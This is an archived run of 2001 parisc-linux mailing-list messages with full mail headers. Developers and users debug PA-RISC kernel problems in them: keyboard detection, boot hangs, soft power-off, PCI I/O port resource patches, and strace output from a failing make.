Xref: news.gmane.org gmane.linux.ports.parisc:12040

Matthew Wilcox wrote:

>>4. My HIL-Keyboard isn't detected anymore by the new 2.4.9-kernel. Using 
>>Kernel 2.4.7-pa1, after the initalisation of HIL, I get a bootmessage like
>> "HIL: keyboard found".  Booting the new Kernel gives me only the two 
>>lines of HIL initalisation, but nothing about my Keyboard. Which is a 
>>PS/2-Keyboard on a HIL-Adaptorbox. Both Kernel were configured via "make 
>>oldconfig".
>>
>
>I'm interested in debugging this one - I don't quite understand what's going on though.  You should see:
>
>Found HIL at 0x%x, IRQ %d
>
>then one of:
>
>HIL: timed out, assuming no keyboard present.
>HIL: no keyboard present.
>HIL: keyboard found at id %d
>
>which?
>
Sorry!! I looked at the wrong File. I get the following messages:
Snip------------
        Found HIL at 0xf0201000, IRQ 126
        HIL: keyboard found at id 0
        HIL: keymap loaded.
Snap-----------

But thanks for your quick answer!

Rdiger






From - Thu Nov 08 21:19:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel failures
Date: Fri, 31 Aug 2001 16:08:27 +0100
Lines: 16
Approved: news@gmane.org
Message-ID: <20010831160827.C5126@parcelfarce.linux.theplanet.co.uk>
References: <3B8F18EF.9060404@hrzpub.tu-darmstadt.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620435 24748 80.91.229.3 (22 Nov 2014 01:40:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:35 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?R=FCdiger_Scholz?= <rscholz@hrzpub.tu-darmstadt.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 31 09:08:28 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6F466482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 Aug 2001 09:08:28 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15cpuF-00032x-00; Fri, 31 Aug 2001 16:08:27 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <3B8F18EF.9060404@hrzpub.tu-darmstadt.de>; from rscholz@hrzpub.tu-darmstadt.de on Fri, Aug 31, 2001 at 06:56:15AM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12041

On Fri, Aug 31, 2001 at 06:56:15AM +0200, Rdiger Scholz wrote:
> When I played a little bit  with the kernel, I found some failures.
> My machine is a 715/100 with a second  Graphics-Card (Coral SGC). If the 

Could you change kernel/printk.c, line 36 from:
#define DEFAULT_CONSOLE_LOGLEVEL 7 /* anything MORE serious than KERN_DEBUG */
to:
#define DEFAULT_CONSOLE_LOGLEVEL 9 /* anything MORE serious than KERN_DEBUG */

This should print out more debug messages and might help diagnose the problem.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Waterhouse <james.waterhouse@videotron.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] booting problems
Date: Fri, 31 Aug 2001 12:06:07 -0400
Lines: 12
Approved: news@gmane.org
Message-ID: <3B8FB5EF.3020301@videotron.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620436 24750 80.91.229.3 (22 Nov 2014 01:40:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:36 +0000 (UTC)
To: "parisc-linux@thepuffingroup.com" <parisc-linux@thepuffingroup.com>,
	"debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 31 10:07:52 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5C1C8482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 Aug 2001 10:07:51 -0600 (MDT)
Original-Received: from mailserv2.iuinc.com (mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA24096
	for <parisc-linux@puffin.external.hp.com>; Fri, 31 Aug 2001 10:05:45 -0600
Original-Received: (qmail 19008 invoked by uid 15267); 31 Aug 2001 16:08:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18994 invoked from network); 31 Aug 2001 16:08:03 -0000
Original-Received: from tomts6.bellnexxia.net (HELO tomts6-srv.bellnexxia.net) (209.226.175.26)
  by mailserv2.iuinc.com with SMTP; 31 Aug 2001 16:08:03 -0000
Original-Received: from videotron.ca ([64.231.240.172]) by tomts6-srv.bellnexxia.net
          (InterMail vM.4.01.03.16 201-229-121-116-20010115) with ESMTP
          id <20010831160721.HDWS3759.tomts6-srv.bellnexxia.net@videotron.ca>;
          Fri, 31 Aug 2001 12:07:21 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:0.9.2) Gecko/20010726 Netscape6/6.1
X-Accept-Language: en-us
Xref: news.gmane.org gmane.linux.ports.parisc:12042

Hello everyone,
	I'm seem to be having trouble booting into linux on my 712/60. I hope 
someone can help. I have built a new kernel (from cvs) and also set up 
an nfs root. When I try to boot the linux boots up to the point where it 
says "Cleaning: /tmp/ /var/lock /var/run" and then it just hangs. Any 
idea what is cause it to hang? Could there be a problem with the nfsroot?

James





From - Thu Nov 08 21:19:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rbradetich@uswest.net (Ryan Bradetich)
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: parisc-linux / C200 / power-down
Date: Fri, 31 Aug 2001 20:13:17 -0600
Lines: 42
Approved: news@gmane.org
Message-ID: <20010831201317.A601@beavis.ybsoft.com>
References: <20010830131409.A22097@middle.of.nowhere> <200108312358.RAA24830@puffin.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620436 24760 80.91.229.3 (22 Nov 2014 01:40:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 31 20:13:19 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from beavis.ybsoft.com (unknown [63.224.241.66])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B0E3482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 31 Aug 2001 20:13:19 -0600 (MDT)
Original-Received: by beavis.ybsoft.com (Postfix, from userid 1000)
	id 7C5E0BCE8; Fri, 31 Aug 2001 20:13:17 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <200108312358.RAA24830@puffin.external.hp.com>
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:12043

On Fri, Aug 31, 2001 at 05:58:43PM -0600, Grant Grundler wrote:
> thunder7@xs4all.nl wrote:
> > I would like to know if your C200 also has the following:
> > 
> > If I issue a 'shutdown -h now', after a while the screen says 'Power
> > down.' - but it doesn't react to the power-button, I have to yank out
> > the power-cord to get it to shut down.
> > 
> > You too?

I just tested this (I usually use the reboot option) and confirmed it 
does not shutdown after the Power down.  Simpling hitting the power
button turned it off for me, but I do have to pull the power cord
a lot on this machine.

> First, I don't have a C200 - only C3000 and A500.
> I gave my C200 to a developer in Canada.
> 
> Second, the soft power control is slightly different for different
> machines. Info for Soft power control hasn't be published AFAIK.
> I've bundled some of it together and passed it on to someone once
> already but they haven't had time to work on it.
> 
> Ryan, does it work for you?
> (and assuming it doesn't, want more info to try to fix it?)
> grant

Yes, I would be interested in fixing this.

Thanks,

- Ryan

> Grant Grundler
> parisc-linux {PCI|IOMMU|SMP} hacker
> +1.408.447.7253
> 

-- 




From - Thu Nov 08 21:19:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Port space on Elroy
Date: Sat, 1 Sep 2001 08:21:00 +0100
Lines: 70
Approved: news@gmane.org
Message-ID: <20010901082100.J5126@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620436 24764 80.91.229.3 (22 Nov 2014 01:40:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:36 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  1 01:21:05 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id C52FE482A
	for <parisc-linux@parisc-linux.org>; Sat,  1 Sep 2001 01:21:04 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15d55Q-0000T2-00
	for parisc-linux@parisc-linux.org; Sat, 01 Sep 2001 08:21:00 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12044

I just took a look at /proc/ioports on my j7k (running 2.4.9-pa1) and
I'm a little confused by what I see:

willy@jagu:~$ cat /proc/ioports 
00000000-00001ffe : LBA PCI I/O Ports
  00000020-0000003e : pic1
  000000a0-000000be : pic2
  000002f8-000002ff : serial(auto)
  00000378-0000037a : parport0
  000003f8-000003ff : serial(auto)
  00000800-000008ff : sym53c8xx
  00001000-0000107f : tulip
00004000-00004007 : serial(auto)
00004100-00004107 : serial(auto)
00004200-00004207 : serial(auto)
00004300-00004307 : serial(auto)
00012000-00013ffe : LBA PCI I/O Ports
00024000-00025ffe : LBA PCI I/O Ports
00038000-00039ffe : LBA PCI I/O Ports
0004c000-0004dffe : LBA PCI I/O Ports

(the only pci card i have in there is a quad-serial card).

First, why do all the ioport ranges go to ffe?  Surely it should be fff?
If so, we should make this change:

@@ -1189,8 +1193,7 @@ lba_legacy_resources(struct parisc_devic
        r->name  = "LBA PCI I/O Ports";
        r->flags = IORESOURCE_IO;
        r->start = READ_REG32(pa_dev->hpa + LBA_IOS_BASE) & ~1L;
-       r->end   = r->start +
-           (READ_REG32(pa_dev->hpa + LBA_IOS_MASK) ^ (HBA_PORT_SPACE_SIZE - 1)) - 1;
+       r->end   = r->start + (READ_REG32(pa_dev->hpa + LBA_IOS_MASK) ^ (HBA_PORT_SPACE_SIZE - 1));
 
        /* Virtualize the I/O Port space ranges */
        lba_num = HBA_PORT_BASE(lba_dev->hba.hba_num);

And then, what are the four serial entries doing off by themselves?
Surely these should be underneath one of the elroys?  /proc/pci says
they're on bus2, so I guess they should be under the 00024000-00025ffe
range (25fff?  :-).  I think the problem is that the start/end pair
aren't getting updated in the bus fixup.  In which case, the patch looks
like this:

@@ -707,6 +707,7 @@ lba_fixup_bus(struct pci_bus *bus)
        u16 status;
 #endif
        struct lba_device *ldev = LBA_DEV(bus->sysdata);
+       int lba_portbase = HBA_PORT_BASE(ldev->hba.hba_num);
 #ifdef __LP64__
        int i;
 #endif
@@ -805,6 +806,9 @@ lba_fixup_bus(struct pci_bus *bus)
                                /* "Globalize" PCI address */
                                res->start |= ldev->lmmio_base;
                                res->end   |= ldev->lmmio_base;
+                       } else if (res->flags & IORESOURCE_IO) {
+                               res->start |= lba_portbase;
+                               res->end   |= lba_portbase;
                        }
                }
 #endif

comments, please.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?Andreas_H=E4rtel?= <andreas@malcolm.in-chemnitz.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] HP712/60 Hang when booting over the network
Date: Sat, 1 Sep 2001 14:45:25 +0200
Lines: 47
Approved: news@gmane.org
Message-ID: <000001c132e4$2ee29ca0$0350a8c0@genesis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620437 24767 80.91.229.3 (22 Nov 2014 01:40:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:37 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  1 06:47:41 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from easy.in-chemnitz.de (www.in-chemnitz.de [213.187.65.136])
	by dsl2.external.hp.com (Postfix) with ESMTP id 35952482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Sep 2001 06:47:40 -0600 (MDT)
Original-Received: (from uucp@localhost)
	by easy.in-chemnitz.de (8.10.2/8.10.2/SuSE Linux 8.10.0-0.3) with UUCP id f81CldS28188
	for parisc-linux@lists.parisc-linux.org; Sat, 1 Sep 2001 14:47:39 +0200
Original-Received: from genesis (genesis [192.168.80.3]) by malcolm.in-chemnitz.de (8.7.6/8.7.3) with SMTP id OAA01239 for <parisc-linux@lists.parisc-linux.org>; Sat, 1 Sep 2001 14:44:21 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700
Xref: news.gmane.org gmane.linux.ports.parisc:12045

Hallo,

I've download the last lifimage - 0.9.2 Network Install ISO -. My bootp
server is a Linux box. I think, that I've installed properly, because my 712
find this lifimage and load it for a while. I can see this at my HUB, than
it hangs ...

I've got a HP712/60 with graphic display, no seriell console connected.
Where is the mistake hide?

Look at the output when booting from lan:

---snip---

BOOT_ADMIN> bo lan



palo ipl 0.92 root@spqr Mon Jun 25 23:03:13 CEST 2001
0/vmlinux32 2853588 bytes @ 0x154c000
0/vmlinux64 3585851 bytes @ 0x1805000
0/ramdisk 1991209 bytes @ 0x1b70800

Command line: 'root=/dev/ram console=tty0 sti=0 sti_font=VGA9x16 TERM=linux'

Kernel: partition 0 file /vmlinux
Ramdisk: partition 0 file /ramdisk
Warning: kernel name doesn't end with 32 or 64... Guessing Annoyance:
Firmware
does not support PDV_MODEL_CAPABILITIES cell
32

ERROR: Read from boot device failed (status = -3).
byteio_read: seekread() returned -1 expected 2048

ERROR: Read from boot device failed (status = -3).
byteio_read: seekread() returned -1 expected 2048
Couldn't grok your kernel executable format
failed to load kernel

---snip---

Andreas





From - Thu Nov 08 21:19:01 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] What's a "Trace/breakpoint trap" and why does he crash my system?
Date: Sat, 1 Sep 2001 15:50:06 +0200
Lines: 25
Approved: news@gmane.org
Message-ID: <20010901155006.A4594@middle.of.nowhere>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620437 24771 80.91.229.3 (22 Nov 2014 01:40:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  1 08:42:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp8.xs4all.nl (smtp8.xs4all.nl [194.109.127.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 25428482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Sep 2001 08:42:12 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp8.xs4all.nl (8.9.3/8.9.3) with ESMTP id QAA26295
	for <parisc-linux@lists.parisc-linux.org>; Sat, 1 Sep 2001 16:42:10 +0200 (CEST)
Original-Received: (qmail 20820 invoked from network); 1 Sep 2001 13:50:07 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 1 Sep 2001 13:50:07 -0000
Original-Received: (qmail 17001 invoked by uid 500); 1 Sep 2001 13:50:06 -0000
Content-Disposition: inline
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:12046

Well, I can boot 2.4.9-pa13 just fine on my C200, but trying to compile
a kernel under that version never works, typing

make proper

in the source directory doesn't produce any output but

Trace/breakpoint error

after one second or so.

I realize this is a worthless bug-report, but where does that message
come from? The text is nowhere in the kernel-sources, so it must be
something else.

Greetings,
Jurriaan
-- 
HORROR FILM WISDOM:
1. When it seems that you've killed the monster, never check to see if
it's really dead.
GNU/Linux 2.4.9-ac5 SMP/ReiserFS 2x1402 bogomips load av: 0.14 0.12 0.04




From - Thu Nov 08 21:19:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP712/60 Hang when booting over the network
Date: Sat, 1 Sep 2001 16:27:25 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <20010901162725.L5126@parcelfarce.linux.theplanet.co.uk>
References: <000001c132e4$2ee29ca0$0350a8c0@genesis>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620437 24775 80.91.229.3 (22 Nov 2014 01:40:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:37 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: =?iso-8859-1?Q?Andreas_H=E4rtel?= <andreas@malcolm.in-chemnitz.de>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  1 09:27:27 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 81618482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Sep 2001 09:27:26 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15dCg9-0000xO-00; Sat, 01 Sep 2001 16:27:25 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <000001c132e4$2ee29ca0$0350a8c0@genesis>; from andreas@malcolm.in-chemnitz.de on Sat, Sep 01, 2001 at 02:45:25PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12047

On Sat, Sep 01, 2001 at 02:45:25PM +0200, Andreas Hrtel wrote:
> Kernel: partition 0 file /vmlinux
> Ramdisk: partition 0 file /ramdisk
> Warning: kernel name doesn't end with 32 or 64... Guessing Annoyance:
> Firmware
> does not support PDV_MODEL_CAPABILITIES cell
> 32
> 
> ERROR: Read from boot device failed (status = -3).
> byteio_read: seekread() returned -1 expected 2048
> 
> ERROR: Read from boot device failed (status = -3).
> byteio_read: seekread() returned -1 expected 2048
> Couldn't grok your kernel executable format
> failed to load kernel
> 
> ---snip---

That's very strange.  Can you tcpdump to see what packets are going
across the wire?  It almost looks as if your tftpd died halfway through
the transfer.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What's a "Trace/breakpoint trap" and why does he crash my system?
Date: Sat, 1 Sep 2001 20:32:32 +0200
Lines: 71
Approved: news@gmane.org
Message-ID: <20010901203232.A5963@middle.of.nowhere>
References: <20010901155006.A4594@middle.of.nowhere>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620437 24780 80.91.229.3 (22 Nov 2014 01:40:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:37 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  1 13:09:50 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp9.xs4all.nl (smtp9.xs4all.nl [194.109.127.135])
	by dsl2.external.hp.com (Postfix) with ESMTP id 0BB28482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Sep 2001 13:09:49 -0600 (MDT)
Original-Received: from rivierenland.xs4all.nl (rivierenland.xs4all.nl [194.109.14.47])
	by smtp9.xs4all.nl (8.9.3/8.9.3) with ESMTP id VAA29012
	for <parisc-linux@lists.parisc-linux.org>; Sat, 1 Sep 2001 21:09:40 +0200 (CEST)
Original-Received: (qmail 5735 invoked from network); 1 Sep 2001 18:32:35 -0000
Original-Received: from unknown (HELO rivierenland.xs4all.nl) (unknown)
  by unknown with SMTP; 1 Sep 2001 18:32:35 -0000
Original-Received: (qmail 6675 invoked by uid 500); 1 Sep 2001 18:32:32 -0000
Content-Disposition: inline
In-Reply-To: <20010901155006.A4594@middle.of.nowhere>
User-Agent: Mutt/1.3.20i
Xref: news.gmane.org gmane.linux.ports.parisc:12048

On Sat, Sep 01, 2001 at 03:50:06PM +0200, thunder7@xs4all.nl wrote:
> Well, I can boot 2.4.9-pa13 just fine on my C200, but trying to compile
> a kernel under that version never works, typing
> 
> make proper
> 
> in the source directory doesn't produce any output but
> 
> Trace/breakpoint error

should be 'Trace/breakpoint trap'
> 
> after one second or so.
> 
> I realize this is a worthless bug-report, but where does that message
> come from? The text is nowhere in the kernel-sources, so it must be
> something else.
> 
I tried running make under strace, and it ran fine. So I tried it again,
and I saw this:

--- SIGCHLD (Child exited) ---
rt_sigreturn(0)                         = -1 EINTR (Interrupted system call)
read(4, "", 193)                        = 0
close(4)                                = 0
wait4(-1, [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 265
pipe([4, 5])                            = 0
fork()                                  = 268
close(5)                                = 0
read(4, "/bin/sh\n", 200)               = 8
read(4, "", 192)                        = -512
--- SIGCHLD (Child exited) ---
rt_sigreturn(0)                         = -1 EINTR (Interrupted system call)
read(4, "", 192)                        = 0
close(4)                                = 0
wait4(-1, [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 268
pipe([4, 5])                            = 0
fork()                                  = 269
--- SIGCHLD (Child exited) ---
rt_sigreturn(0)                         = 269
close(5)                                = 0
read(4, "/home/jurriaan/source/linux-2001"..., 200) = 37
read(4, "", 163)                        = 0
close(4)                                = 0
wait4(-1, [WIFEXITED(s) && WEXITSTATUS(s) == 0], 0, NULL) = 269
read(3, "+= drivers/scsi/scsidrv.o\nDRIVER"..., 4096) = 4096
brk(0x4b000)                            = 0x4b000
brk(0x4c000)                            = 0x4c000
open("arch/parisc/Makefile", O_RDONLY|O_LARGEFILE) = 4
idle()                                  = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x4001a000
read(4, "#\n# parisc/Makefile\n#\n# This fil"..., 4096) = 3156
pipe([5, 6])                            = 0
fork()                                  = 270
close(6)                                = 0
read(5, "", 200)                        = -512
--- SIGCHLD (Child exited) ---
rt_sigreturn(0

and then it hang. On reboot, it gave the same 'Trace/breakpoint trap'
error, but didn't hang. Next time I tried it, it did hang.

Jurriaan
-- 
`That right?' Hawk gave MacReady a long, thoughtful look.
`I'll have to remember that.'
	Simon R Green - Hawk & Fisher II Fear and Loathing in Haven
GNU/Linux 2.4.9-ac5 SMP/ReiserFS 2x1402 bogomips load av: 0.05 0.15 0.08




From - Thu Nov 08 21:19:01 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What's a "Trace/breakpoint trap" and why does he crash my system?
Date: Sat, 1 Sep 2001 20:14:55 +0100
Lines: 11
Approved: news@gmane.org
Message-ID: <20010901201455.M5126@parcelfarce.linux.theplanet.co.uk>
References: <20010901155006.A4594@middle.of.nowhere> <20010901203232.A5963@middle.of.nowhere>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620438 24785 80.91.229.3 (22 Nov 2014 01:40:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: thunder7@xs4all.nl
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  1 13:14:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 72E8E482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Sep 2001 13:14:56 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15dGEJ-00063z-00; Sat, 01 Sep 2001 20:14:55 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010901203232.A5963@middle.of.nowhere>; from thunder7@xs4all.nl on Sat, Sep 01, 2001 at 08:32:32PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12049

On Sat, Sep 01, 2001 at 08:32:32PM +0200, thunder7@xs4all.nl wrote:
> should be 'Trace/breakpoint trap'

hmm.. what version of glibc do you have installed?  something else you
can do is run strace -ff which will attempt to follow fork/clone/vfork.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:02 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: thunder7@xs4all.nl
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] What's a "Trace/breakpoint trap" and why does he crash my system?
Date: Sat, 1 Sep 2001 21:28:35 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <20010901212835.A18546@middle.of.nowhere>
References: <20010901155006.A4594@middle.of.nowhere> <20010901203232.A5963@middle.of.nowhere> <20010901201455.M5126@parcelfarce.linux.theplanet.co.uk>
Reply-To: thunder7@xs4all.nl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620438 24789 80.91.229.3 (22 Nov 2014 01:40:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:40:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Sep  1 23:00:15 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp8.xs4all.nl (smtp8.xs4all.nl [194.109.127.134])
	by dsl2.external.hp.com (Postfix) with ESMTP id 30016482A
	for <parisc-linux@lists.parisc-linux.org>; Sat,  1 Sep 2001 23:00:15 -0600 (MDT)
